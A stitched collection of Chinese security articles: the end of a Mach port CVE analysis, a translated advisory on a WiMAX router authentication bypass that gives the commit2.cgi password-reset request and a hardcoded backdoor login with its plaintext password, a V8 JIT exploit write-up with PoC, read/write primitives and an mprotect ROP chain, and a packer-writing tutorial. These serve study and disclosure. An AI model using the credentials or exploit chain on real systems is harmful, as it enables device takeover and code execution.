* The new name can't be MACH_PORT_NULL because index
* is non-zero. It can't be MACH_PORT_DEAD because
* the table isn't allowed to grow big enough.
* (See comment in ipc/ipc_table.h.)
*/
new_name = MACH_PORT_MAKE(first_free, gen); //[3]
assert(MACH_PORT_VALID(new_name));
*namep = new_name;
*entryp = entry;
return KERN_SUCCESS;
}
通过[1]可以看到，正如2.2节提到的一样，`entry`在`table`中的`index`是不变的。
通过[2]可以看到，每次使用`entry`来存放一个新`port`时，`gen`的值会加1。
通过[3]可以看到，`namep`就是通过这两个参数生成的。
因为`index`是不变的，所以在通过漏洞释放target_port之后，不断的对目标`entry`进行申请和释放，就可以通过整形溢出，使得`gen`变成和taget_port释放之前使用的entry相同。
那么就实现了在`port_name`不变的情况下替换了`port`的内核对象。
## 0x03 小结
通过CVE-2016-7637的分析和研究加深了对`port`这个数据结构的理解，并且通过对`poc`的分析，体现了一个`port`在单个`task`中的状态变化，实际上是`ipc_space`和`ipc_entry`状态变化。
接下来就要分析学习CVE-2016-7644，通过对CVE-2016-7644的分析学习，可以更加深入的理解port在内核中状态的变化。也就是`port`自身的`port->srights`和`io_reference`的状态变化及漏洞的利用。
## 参考
1. 《Mac OS X Internals》
2. [Broken kernel mach port name uref](https://bugs.chromium.org/p/project-zero/issues/detail?id=959&can=1&q=apple&sort=-id)
* * * | 社区文章 |
# 【技术分享】幽灵重现：部分WiMAX路由设备存在认证绕过和后门漏洞
|
##### 译文声明
本文是翻译文章，文章来源：sec-consult.com
原文地址：<http://blog.sec-consult.com/2017/06/ghosts-from-past-authentication-bypass.html>
译文仅供参考，具体内容表达以及含义原文为准。
>
> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
翻译：[ **ForrestX386**](http://bobao.360.cn/member/contribute?uid=2839753620)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
**前言**
SEC 的安全人员在一些WiMAX 路由器上发现了一个漏洞，
这个漏洞允许攻击者更改路由器上的管理员密码，进而获取对这些漏洞的设备的控制权限。更糟糕的是，如果攻击者控制了这些含有漏洞的路由器，他们就可以对这个漏洞设备背后的网络进行进一步攻击，或者将这些漏洞的设备加入了僵尸网络中，亦或通过这些漏洞设备监听用户信息。
这个漏洞的影响设备厂商包括GreenPacket， 华为， MADA， 中兴通讯，ZyXEL等。其中有些含有漏洞的设备可以通过web访问。
这个漏洞已经报给了CERT/CC (漏洞编号为CVE-2017-3216)，CERT也已将此漏洞通告给上述厂商。
更多关于此次漏洞披露的信息和漏洞影响的设备信息，请访问我们的漏洞通告页面(<https://sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20170607-0_Various_WiMAX_CPEs_Authentication_Bypass_v10.txt>
)。
**部分WiMAX 路由设备存在认证绕过和后门漏洞**
本篇文章将主要讨论针对此次漏洞分析中几个重要的点，当我们的安全人员在研究关于HTTPS 证书和SSH
key重用的问题时，意外的发现一组（大约80台）设备使用了一个颁发给MatrixSSL Sample Server Cert的HTTPS证书，
这一组设备中就包括ZyXEL 公司和他的姊妹公司MitraStar研发的WiMAX 网关，我们的安全人员选择了其中的一台进行了一点研究。
WiMAX是一种类似LTE的技术，虽然没有LTE那么地流行，但是，世界上还是有很多的WiMAX设备在使用。
通过我们搜集的大量数据集信息，我们发现很多的WiMAX设备将web访问接口暴露给互联网，
造成这种结果的原因可能是错误的配置，也可能是ISP的粗心。通过web访问接口都是挖掘漏洞的很好的切入点。
像所有的IoT（物联网）的渗透测试一样，我们搞到了一份含有漏洞的WiMAX 设备的固件（感谢ZyXEL 的官网提供给我们
O(∩_∩)O），我们直接上这个问题固件上传到我们的 IoT 分析系统（一个基于云的固件分析系统）， 几分钟之后，一份分析报告就出现在我们的眼前。
首先，我们看了一眼固件的文件系统结构。 在/var/www 目录下，我们发现了很多HTML 文件，按照我们的经验，通常这些HTML
文件只是视图模板文件（学过MVC的都知道），一般不会包含业务逻辑。
摘自 IoT 固件自动分析系统分析结果一部分
**认证绕过漏洞**
我们没有发现传统的CGI脚本，所以，我们推断，web接口的业务逻辑可能内嵌如web server本身，当我们发现web
server的执行路径为：/bin/mini_httpd.elf， 我们敏锐地联想到这可能和开源项目mini_httpd
项目有关，但是，接着我们就我发现我们手头的这个mini_httpd和开源的mini_httpd完全不同，也许经过了重大的修改，
首先，我们手头的这个mini_httpd没有任何web 接口业务代码， 但是我们发现有一个函数通过dlopen()库函数从/lib/web_plugin
目录加载库文件。
于是，我们去/lib/web_plugin目录下看了一眼， 发现就只有一个名为libmtk_httpd_plugin.so的动态链接库文件，
在mime_handlers 符号连接处， 有一个用于描述针对不同的MIME 如何处理的结构数组。libmtk_httpd_plugin.so
库中包含了对于http请求的处理函数。
对于每一个接收到的HTTP请求，web server
都会根据上述提到的MIME结构数组找到匹配项，如果匹配ok，则从这个匹配结果中找到相应的请求处理函数并调用之。分析到这里，我们心情都很不错，我们打开IDA
pro 神器帮助我们继续分析，根据上述提到的MIME结构数组的特征，我们找到了mime_handlers 符号列表中的入口项：
至此，我们已经非常清晰的明白了web server 中存在哪些URIs可以被解析处理，已经他们是如何被解析处理的， 在上图的mime_handlers
符号列表中的入口项的结构中，我们发现竟然还有一个枚举类型，这个枚举类型标识是否当前用户的请求应该被认证或者不认证（我们称之为AUTH_REQUIRED/UNAUTHENTICATED），我们还发现其中很多的URIs是不需要任何认证的，
这些URIs是非常值得我们去仔细分析的，我们将目标锁定在了 commit2.cgi 上。
这个URL的处理函数将POST请求的参数和值都存在在内置数据库中（key-value
存储形式，也许是存储在NVRAM中），其实这里就是一个漏洞，最简单的利用方式就是通过提交参数为ADMIN_PASSWORD=xxxx
(xxx为你要修改后的管理员密码)的POST请求到commit2.cgi的URI, 这样就可以修改管理员的密码，从而可以通过web
界面成功登录，然后就可以进一步进行攻击
从web 界面登录成功之后，我们发现有很多可以利用的功能点（hacker的目的不同，选择的攻击点也不一样），其中有一个功能点可以修改DNS 服务器的配置
（聪明的你可能已经想到这里可以进行钓鱼攻击，通过劫持DNS，进行网银欺诈，或者广告植入），
还有一处可以上传固件，这样攻击者就可以上传一个含有恶意代码的固件，用于监控用户行为，或者充当僵死网络中的一员。
随着分析的深入，我们发现这个含有露的WiMAX 路由器允许SSH 和Telnet登录， 这两个服务引起了我们的兴趣。
****
**OEM 后门**
SSH 和Telnet 远程登录功能可以通过web 界面进行配置启用，启用之后，攻击者可以使用web 界面的登录的账号和密码登录SSH 和Telnet，
登录成功之后， 或得到一个类似 Cisco 路由器命令行 的界面，然后就可以执行各种各样的命令，甚至有的命令还可以实现类似Linux shell的功能。
我们打开IoT 自动检测分析系统的分析报告， 看看能不能找到让我们感兴趣的结果， 我们发现了若干硬编码的类似
Unix形式的密码hash串，我们立即将其提交到我们的GPU-SERVER 进行破解
其中的一些密码hash看起来好像是默认密码， 位于minihttpd.trans中的hash值引起了我们的兴趣。
在minihttpd.trans中，我们发现这个脚本会在系统启动的时修改/etc/passwd 和/etc/shadow 两个文件的内容，从而添加后门用户。
上图显示，这段脚本会在系统启动的时候添加两个后门用户到/etc/passwd 和/etc/shadow ， 后门用户 mfgroot
的密码hash一直没变，都是h $1$.3r0/KnH$eR.mFSJKIiY.y2QsJVsYK. (明文为： %TGBnhy6m), root
密码hash根据系统变量ZY_CUSTOMER的不同而不一样，在不同的设备商的固件中root密码hash也不一样，下面列举了一些不同厂商的root
hash值：
Greenpacket:
$1$38HlpaTA$bVNplU36JnUr.Xt1IHDCV/
华为:
$1$k2I9hJe4$Vg4Qw0w5IwMWb8GlfYhoi1
$1$7cHnPpHF$GbYUst3uAh0sFix3fz7B21
Mitrastar:
$1$k2I9hJe4$VibREr.QRvL4HUkaUAyDr1
ZyXEL:
$1$T6ecjm0M$EzKDcv0pezh9OItLRG8hY/
ZTE:
$1$k2I9hJe4$VibREr.QRvL4HUkaUAyDr1
上面这一串 root hash的破解工作就留给读者了，这里暂且不表，即使不知道root的密码也可以利用已知的mfgroot:%TGBnhy6m
账户密码组合登录系统获取系统的root shell
**闲扯IoT的供应链**
IoT 设备的供应链通常是很复杂的，上面提到的”commit2.cgi” 接口的漏洞在动态链接库 libmtk_httpd_plugin.so 中被发现，
从文字上看，libmtk好像暗示，libmtk_httpd_plugin.so是MediaTek 软件公司提供的， 也许是MediaTek
软件公司提供的SDK（客户用此SDK进行MediaTek SoCs的开发）中的一个动态链接库。
这样的分析有一定道理，因为所有这些含有漏洞设备都是基于MediaTek 的硬件平台进行开发的
，一般SDK都会包含了开发这款硬件所必须的东西，甚至包含一个web接口。 设备厂商可以选择使用整个SDK
其开发，也可以选择只使用其中一部分驱动或者中间件进行开发他们自己的产品。
CERT/CC 已经就这个漏洞联系了MediaTek公司，MediaTek公司回应他们的SDK没有任何漏洞，并声明他们怀疑ZyXEL 植入了漏洞代码。
根据我们自己搜集的信息，我们怀疑事情是这样的：
1\. MediaTek 为WiMAX 设备提供了SoC芯片 和相应的SDK（包括web接口
程序）
2\. ZyXEL 和他的 姊妹公司MitraStar基于MediaTek的SDK 进行了开发，引入了commit2.cgi 接口漏洞和OEM 后门代码
3\. ZyXEL 将含有漏洞的设备卖给了ISP 服务商
4\. MitraStar 作为OEM厂商，提供WiMAX设备给GreenPacket， 华为，中兴等，这些公司又把设备卖给了ISP服务商
5\. ISP 服务商又把这些漏洞设备卖给或者租给他们的用户
一般的OEM 的用户不会承认他们的产品是OEM的， 我们为此咨询了华为，得到如下回复：
复杂的设备供应链加上OEM厂商的存在，所以去判断谁的产品含有漏洞不是一件简单的事，这也是我们开发IoT
自动检测分析系统的原因之一，其中一个用户案例就是去检查是否他的固件中存在漏洞，我们把这个固件上传到IoT 固件自动化检测系统， 然后得到了结果。
我们使用这种方式解决了很多问题，比如KCodes NetUSB 和 AMX 的漏洞。
为了检测存在commit2.cgi 接口漏洞的设备，我们开发了一个简单的基于IoT
自动化检测系统的插件，这个插件包含了几千种固件产品的信息，包括我们从网上发现的所有WiMAX
CPE的固件信息，使用这个插件，我们就可以确定这些固件哪一个是来自GreenPacket, 华为, MADA, ZyXEL and 中兴，
关于漏洞影响设备列表，请查看我们的漏洞披露公告。
**IoT 设备生命周期**
这些含有漏洞的设备都已经很陈旧了， 有的在2010年前就被生产了，根据华为的反馈信息，它们所有受到漏洞影响的设备在2014 年后就不在提供技术支持，
也不会进行任何升级更新 。安全研究员Pierre Kim 在2015年发现了华为其他系列的WiMAX
设备中存在漏洞，华为的回应也是已经不再对存在漏洞的设备提供技术支持了。 我们把这个漏洞报告给了CERT/CC
,它们接收了这个漏洞，并给这个漏洞编号，非常感谢，但是很不幸，CERT 没有收到来自ZyXEL的对此漏洞的回应。
给所有的含有漏洞的设备进行升级是不可能的了，唯一的办法就是更换新的设备。ISP 服务商应该尽可能的减少 此次漏洞的攻击面，不仅仅要限制对web
接口、SSH、Telnet的访问，还要限制通过TR-O69协议的连接。有关更多关于此次漏洞的信息，请参阅我们的漏洞披露公告。 | 社区文章 |
## 参考
<https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time/>
## 环境搭建
我有点懒，就用xcode调了。
V8 version 7.2.0 (candidate)
gn gen out/gn --ide="xcode"
patch -p1 < ./addition-reducer.patch
cd out/gn
open all.xcworkspace/
编译
## 特性
### max safe integer range of doubles
<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER>
Number.MAX_SAFE_INTEGER = 2^53 - 1
...
...
var x = Number.MAX_SAFE_INTEGER + 1;//x = 9007199254740992
x += 1;//x = 9007199254740992
x += 1;//x = 9007199254740992
var y = Number.MAX_SAFE_INTEGER + 1;//y = 9007199254740992
y += 2;//y = 9007199254740994
## PoC
function foo(doit) {
let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let x = doit ? 9007199254740992 : 9007199254740991-2;
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #30:SpeculativeNumberAdd[Number](#25:Phi, #29:NumberConstant, #26:Checkpoint, #23:Merge) [Type: Range(9007199254740990, 9007199254740992)]
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #31:SpeculativeNumberAdd[Number](#30:SpeculativeNumberAdd, #29:NumberConstant, #30:SpeculativeNumberAdd, #23:Merge) [Type: Range(9007199254740991, 9007199254740992)]
x -= 9007199254740991;//解释:range(0,1);编译:(0,3);
// #32:NumberConstant[9.0072e+15]() [Type: Range(9007199254740991, 9007199254740991)]
// #33:SpeculativeNumberSubtract[Number](#31:SpeculativeNumberAdd, #32:NumberConstant, #31:SpeculativeNumberAdd, #23:Merge) [Type: Range(0, 1)]
x *= 3;//解释:(0,3);编译:(0,9);
// #34:NumberConstant[3]() [Type: Range(3, 3)]
// #35:SpeculativeNumberMultiply[Number](#33:SpeculativeNumberSubtract, #34:NumberConstant, #33:SpeculativeNumberSubtract, #23:Merge) [Type: Range(0, 3)]
x += 2;//解释:(2,5);编译:(2,11);
// #36:NumberConstant[2]() [Type: Range(2, 2)]
// #37:SpeculativeNumberAdd[Number](#35:SpeculativeNumberMultiply, #36:NumberConstant, #35:SpeculativeNumberMultiply, #23:Merge) [Type: Range(2, 5)]
a[x] = 2.1729236899484e-311; // (1024).smi2f()
}
for (var i = 0; i < 100000; i++){
foo(true);
}
分析poc，运行poc到remove checkbounds处
index_type.Print();
->Range(2, 5)
length_type.Print();
->Range(6, 6)
...
if (index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))
满足，从而移除CheckBounds
总而言之，就是range analysis的结果和优化后实际的range不一致，导致在simplified lower将边界检查移除之后，产生越界读写。
## exploit
### 由单次oob read/write到相对oob read/write
首先将两个数组相邻放置，通过a的一次oob write去改掉b的elements的长度，改为1024，也就是图上的0x400。
现在我们可以通过b去进行越界读写了。
function foo(doit) {
let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
...
...
for (let i = 0; i < 100000; i++) {//->触发JIT优化
foo(true);
g2[100] = 1;
if (g2[12] != undefined) break;//->确定已经越界写改掉了b的长度
}
if (g2[12] == undefined) {
throw 'g2[12] == undefined';
}
### 由相对oob read/write到任意地址读写原语
然后再在后面放置一个Float64Array，目的是 **通过修改它的ArrayBuffer的backing store来实现任意地址读写的原语** 。
function foo(doit) {
...
let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
...
g2 = b;
}
const ab_off = 26;
function setup() {
...
g4 = new Float64Array(7);//放置一个Float64Array
if (g2[ab_off+5].f2smi() != 0x38n || g2[ab_off+6].f2smi() != 0x7n) {
throw 'array buffer not at expected location';
//如图对应位置的0x38和0x7分别是byte_length和length,
// 如果对应的上，那么Float64Array就放置到了正确的位置
}
如图是g2[ab_off]处的内存布局，即我们放置的Float64Array
然后寻找array buffer backing store的位置
const ab_backing_store_off = ab_off + 0x15;
...
g4[0] = 5.5;
if (g2[ab_backing_store_off] != g4[0]) {
throw 'array buffer backing store not at expected location';
}
**那么这个backing store的位置是哪里记录的呢？**
**我也是找了一会，这是我第一次见到直接new一个Float64Array的...**
我通常见到的都是：
var ab = new ArrayBuffer(20);
var f64 = new Float64Array(ab);
首先找到Float64Array的elements
然后从对应内存的+0x10的位置找到backing store。
这里可以看到elements的地址是0x0000093f18ac9ed
在`0x0000093f18ac9ed+0x20`处存放我们的第一个元素5.5(图上的0x4016000000000000)
所以在我们通过修改backing store来得到任意地址读写的原语的时候。
假设我们要读的内存的地址是addr，将backing store的值改为`addr-0x20`，这样它就会从addr开始读取我们要读的内容。
### 用户态object leak原语
function leak_ptr(o) {
g3[0] = o;
let ptr = g2[g3_off];
g3[0] = 0;
return ptr.f2i();
}
首先将一个object放入object数组g3中，然后用double array
g2将对应位置的object读出来，就造成了一个类型混淆的效果，读出来的地址是float类型，用f2i将其转换成整形。
输出如下：
let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());
...
Array_addr: 0x93f11611259
### 任意地址读写原语
function readq(addr) {
let old = g2[ab_off+2];
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
let q = g4[0];
g2[ab_off+2] = old;
return q.f2i();
}
function writeq(addr, val) {
let old = g2[ab_off+2];
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
g4[0] = val.i2f();
g2[ab_off+2] = old;
}
简单的解释一下readq吧。
首先从g2[ab_off+2]得到backing store的原始值
然后修改它为我们要读的内存的地址，注意末位置1，这是v8里被称为Tagged Value的机制，末位置1才能表示HeapObject的指针。
然后修改为我们要读取的内容的值,比如我们要读取下图中code的值。
之前我解释过为什么这里addr要先减去0x20。
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
现在的backing store被修改为addr-0x20
于是我们将从0x0000093f11611288将code的地址0x000001db14a8c821读出来。
输出如下
let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());
let Array_code_addr = readq(Array_addr + 6n*8n);
print('Array_code_addr: ' + Array_code_addr.hex());
...
...
Array_code_addr: 0x1db14a8c821
writeq也是同理的，请自己看一下。
### 安全特性
在6.7版本之前的v8中，由于function的code是可写的，于是我们可以直接在code写入我们的shellcode，然后调用这个function即可执行shellcode。
但是在之后，v8启用了新的安全特性，code不再可写，于是需要用rop来绕一下。
<https://github.com/v8/v8/commit/f7aa8ea00bbf200e9050a22ec84fab4f323849a7>
### leak ArrayConstructor
let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());
let Array_code_addr = readq(Array_addr + 6n*8n);
print('Array_code_addr: ' + Array_code_addr.hex());
// Builtins_ArrayConstructor
let builtin_val = readq(Array_code_addr+8n*8n);
let Array_builtin_addr = builtin_val >> 16n;
print('Array_builtin_addr: ' + Array_builtin_addr.hex());
先leak出Array的地址，然后再找到Array的code地址，再由这个地址找到ArrayConstructor的地址。
### 逆向Chrome和libc
现在我们leak出了ArrayConstructor的地址
vmmap可以看到它是在chrome binary映射的内存里。
将其取出并用IDA逆向
先找到ArrayConstructor在Chrome里的偏移
>>> hex(0x55b677f727c0-0x55b673f16000)
'0x405c7c0'
换句话说，用leak出来的ArrayConstructor地址减去0x405c7c0就是chrome binary映射的基地址，记为bin_base
let bin_base = Array_builtin_addr - 0x405c7c0n;
console.log(`bin base: ${bin_base.hex()}`);
然后找到got表,cxa_finalize是一个libc里的函数，在chrome的got表里会有一个指针指向它，记录一下这个指针所在的偏移是0x8DDBDE8。
于是leak出libc里的cxa_finalize地址。
再逆向一下libc.so,用leak出来的cxa_finalize_got减去偏移0x43520，得到libc基地址。
let cxa_finalize_got = bin_base + 0x8ddbde8n;
let libc_base = readq(cxa_finalize_got) - 0x43520n;
console.log('libc base: ' + libc_base.hex());
然后找到environ,environ是一个指针，它指向栈上，将其leak出来，我们现在得到了一个可写的栈地址。
let environ = libc_base+0x3ee098n;
let stack_ptr = readq(environ);
console.log(`stack: ${stack_ptr.hex()}`);
### ROP
后面的内容比较简单，就是将shellcode写入到内存，然后逆向bin构造rop，用rop
mprotect函数将这个内存页变成可以读写执行权限，再跳到shellcode执行即可。
let nop = bin_base+0x263d061n;
let pop_rdi = bin_base+0x264bdccn;
let pop_rsi = bin_base+0x267e82en;
let pop_rdx = bin_base+0x26a8d66n;
let mprotect = bin_base+0x88278f0n;
let sc_array = new Uint8Array(2048);
for (let i = 0; i < sc.length; i++) {
sc_array[i] = sc[i];
}
let sc_addr = readq((leak_ptr(sc_array)-1n+0x68n));
console.log(`sc_addr: ${sc_addr.hex()}`);
let rop = [
pop_rdi,
sc_addr,
pop_rsi,
4096n,
pop_rdx,
7n,
mprotect,
sc_addr
];
let rop_start = stack_ptr - 8n*BigInt(rop.length);
for (let i = 0; i < rop.length; i++) {
writeq(rop_start+8n*BigInt(i), rop[i]);
}
for (let i = 0; i < 0x200; i++) {
rop_start -= 8n;
writeq(rop_start, nop);
}
}
我举个简单的例子，我随便找了一个binary文件，
**假设红框框起来的地方是environment，上面黄框是写入的0x200个retn，注意这个nop其实是代表retn而不是0x90**
，当程序栈执行到retn，它就会一直往下retn，直到开始执行我们的rop，最终执行到shellcode。
for (let i = 0; i < 0x200; i++) {
rop_start -= 8n;
writeq(rop_start, nop);
}
### exploit
cd ~/chrome
./chrome index.html
## 其他
### 致谢
感谢stephen(@_tsuro)对我愚蠢问题的不厌其烦的指导，我翻了一个愚蠢的错误。
事实上直接用d8调试和chrome还是不太一样的，就是在leak cxa那里，它会把builtin **随机映射**
到一段地址，而把cxa映射到libv8.so，所以就不能简单的根据偏移找到cxa了。
所以说当你在v8里完成一个任意地址读写的原语之后，就可以转到chrome里直接写exp了，而不需要再做过多的调试（换句话说你没必要直接调试完整的chrome,这没有什么意义) | 社区文章 |
# 结合实例浅析壳编写的流程与难点
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 零、前言
* 前段时间自己学习了一下壳的编写，发现网上相关资料不是非常全，而且讲解顺序不太对胃口。因此参考了《黑客免杀攻防》中的代码对DLL型壳编写的结构进行了一次归纳整理，并附上相应代码解析。
## 一、壳的简介
### 1.1 壳的简介
* 在日常生活中我们所接触到的大量瓜果蔬菜存在壳，例如花生壳，瓜子壳等，这些壳是为了保护自身而存在。同理，对于我们在逆向工程中接触到的壳同样是出于保护自身减少被破解的可能性而研发的。
* 一般大部分的壳可以分为两种，加密壳与压缩壳。压缩壳以通过压缩算法减少程序体积为目的，而加密壳则以干扰逆向分析为主要目的。但是两者都会对静态分析产生较大的影响
* 例如恶意代码分析中常见的特征匹配的办法，以其中最广为使用的yara为例，其工作的原理就是匹配一串特殊的数据，也就是特征。这段数据是一个恶意软件的核心功能代码，而且正常代码，甚至包括其他恶意代码几乎没有这段代码。而哪怕是一个简单的压缩壳都有可能导致这段特征产生严重的变形进而干扰分析。
### 1.2 壳的原理
* 一般原始程序结构如下。在操作系统加载该程序后，程序从PE头指定的OEP（入口点）开始执行
* 而加壳之后，程序的.text段就被加密了（有些壳还会加密IAT表，资源段等等），程序的入口点指向壳添加的代码的入口（Stub的入口），Stub将程序的更改恢复（例如解密.text，IAT等等），最后执行完后跳转到原始的OEP
* 在执行到原先的OEP后，实际上程序就与加壳前没有差别了（除了添加的Stub的区块），而Stub的区块也并非必须。此处先介绍一个概念，区块对齐。在内存中与在硬盘中，程序都存在一个对齐值，例如内存中是SectionAlignment，文件中是FileAlignment。当一个区块的大小不是对齐值的整数倍时，会被填充成对齐值的整数部分。也就是说在这种情况下区块可能存在一部分的空余空间。我们可以将Stub填写到该空余空间中，这样文件大小就不会改变，这也是不少病毒的感染做法。
### 1.3 壳的编写流程以及其中的问题
* 壳的编写流程非常简单，流程如下：
* 将原程序加载到内存，加密.text段（或更多，例如资源，IAT等等）
* 在原程序中添加一个Section，将恢复原程序的代码（Stub）添加到原程序中
* 编写Stub代码
* 在Stub的Section结尾添加一个跳转，跳转到原始的OEP
* 将程序的OEP修改到Stub的起始地址
* 这个过程看似没有什么难度，实际上存在一些比较难以实现的点
* 编写的Stub格式代码如果纯粹用汇编写，之后可移植性不强，因此建议编译为dll格式
* 如果将stub的dll拷贝到原程序中
* DLL编译过程中生成的引导代码会导致代码不可控，大概率出现bug
* 涉及到的地址会出现很大问题（jmp短跳转用的是相对地址，但是长跳转和大部分call用的是绝对地址，移植到原程序后会出现对应不上的问题）
* 由于无法将DLL的导入表移植过去，DLL中的API调用将全部无效
* 加密text段时我们无法获得目标程序的信息，也就无法指定起始与结束加密位置
* 由于程序在内存中和在硬盘中的状态不同（主要体现在FileAlignment与SectionAlignment的不同上，SectionAlignment一般大于FileAlignment），进行FileOffset与VirtualAddress转换时容易引起混淆。实际上读入内存时无论是使用硬盘中的布局或者内存中的布局都是可以的，但需要注意两者的不同
* 那么如何解决？
* 对于移植性，我们的Stub编译为DLL格式
* 对于DLL拷贝的问题
* 引导代码的问题，我们可以加上naked的关键字不生成引导代码，因为我们的DLLMain不需要执行，所以实际上不会影响
* PE文件PE头存在一个重定位的Table，我们可以根据这张表修复重定位，具体修复位置根据我们的程序基址与DLL的基址来决定
* 对于导入表不存在的问题，我们使用fs的特性定位GetProcAddress，之后通过GetProcAddress获取API地址，动态加载API
* 对于无法获得信息的问题，我们导出一个全局变量来获取信息，使得用于加壳的程序（不是被加壳程序）能够从外部读取并写入这个全局变量
* 对于程序内存与硬盘中不同的布局，我们直接指定加载原程序的方式
## 二、壳代码的编写
* 该部分主要包括
* 初始化，将所有区块合并
* 获取.text段必要信息，导出变量
* 添加API调用
### 2.1 初始化操作
* 之前我们已经提过使用编写DLL的方式来完成Stub的实现。在此为了方便起见，我们只使用异或来加密.text段。
* 由于我们移植stub时候只需要一个代码段，所以dll编译的时候我们指定多个段合并
#pragma comment(linker, "/merge:.data=.text") // 将.data合并到.text
#pragma comment(linker, "/merge:.rdata=.text") // 将.rdata合并到.text
#pragma comment(linker, "/section:.text,RWE") // 将.text段的属性设置为可读、可写、可执行
### 2.2 获取加密.text时的必要信息
* 之后我们导出一个全局变量用于获取信息
typedef struct _GLOBAL_PARAM
{
BOOL bShowMessage; // 是否显示MessageBox
DWORD dwOEP; // 程序入口点
PBYTE lpStartVA; // 起始.text段地址
PBYTE lpEndVA; // 结束.text段地址
}GLOBAL_PARAM, *PGLOBAL_PARAM;
extern "C"__declspec(dllexport) GLOBAL_PARAM g_stcParam;
* 之后我们手动定义一个入口函数，如我们前面所提到的原因所说，我们需要将dll的加载代码去掉，所以我们使用naked关键字修饰
#pragma comment(linker, "/entry:"StubEntryPoint"") // 指定程序入口函数为StubEntryPoint()
void start()
{
//这里存放对被加壳文件的操作
}
void __declspec(naked) StubEntryPoint()
{
__asm sub esp, 0x50; // 分配0x50的栈空间
start(); // 执行Stub代码
__asm add esp, 0x50; // 平衡堆栈
__asm retn;
}
* 显然，我们的Stub的核心之一就是解密，我们需要编写一个解密函数，从导入变量中获取起始地址与结束地址，之后解密。
void Decrypt()
{
// 在导出的全局变量中读取需解密区域的起始与结束VA
PBYTE lpStart = g_stcParam.lpStartVA;
PBYTE lpEnd = g_stcParam.lpEndVA;
while (lpStart < lpEnd)
{
*lpStart ^= 0x15;
lpStart++;
}
}
* 这样我们的原始的Stub就完成了。
### 2.3 添加API调用功能
* 但是这样还不够，为了方便扩展，我们需要添加对API调用的支持。例如，我们的程序可能会出现一些兼容性问题，那么让它触发异常时ExitProcess(0)就能提高兼容性。
* 这一部分主要包括
* 获取kernel32.dll基地址
* 根据kernel32.dll基地址获取GetProcAddress基地址
* 根据GetProcAddress获得API地址并定义API指针
#### 2.3.1 获取kernel32.dll的基地址
* 我们在第一部分的最后一段已经提到过，由于没有导入表，我们需要通过GetProcAddress动态获得API地址后调用。而GetProcAddress位于kernel32.dll中，所以我们的问题就从调用API转换为了获取kernel32的地址。
* 查询资料可得，fs寄存器指向TEB，而TEB结构我们可以在Windbg中查看
kd> dt _teb
nt!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB
* PEB在TEB偏移0x30的位置上，而查看PEB结构如下
kd> dt _peb
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
* 从PEB中获得_PEB_LDR_DATA，windbg查看LDR_DATA定义
0:000> dt 0x77847880 _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x3126f8 - 0x36bd60 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x312700 - 0x36bd68 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x312798 - 0x36bd70 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
* 从MSDN上获得对InInitializationOrderModuleList的描述（MSDN上对_PEB_LDR_DATA定义与windbg上有所不同，此处以windbg为准）
> The head of a doubly-linked list that contains the loaded modules for the
> process. Each item in the list is a pointer to an LDR_DATA_TABLE_ENTRY
> structure.
* 查看MSDN的LDR_DATA_TABLE_ENTRY的定义
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
* 此时我们就看到了我们希望得到的DllBase，我们可以遍历搜索，当名字与”kernel32.dll”重合时获取DllBase，而由于每个操作系统中的Dll加载顺序恒定，kernel32.dll一般都是第二个加载的。因此我们可以通过如下方式获取
extern DWORD GetKernel32Base(); // 获取Kernel32.dll的模块基址
DWORD GetKernel32Base()
{
DWORD dwKernel32Addr = 0;
__asm
{
push eax
mov eax,dword ptr fs:[0x30] // eax = PEB的地址
mov eax,[eax+0x0C] // eax = 指向PEB_LDR_DATA结构的指针
mov eax,[eax+0x1C] // eax = 模块初始化链表的头指针InInitializationOrderModuleList
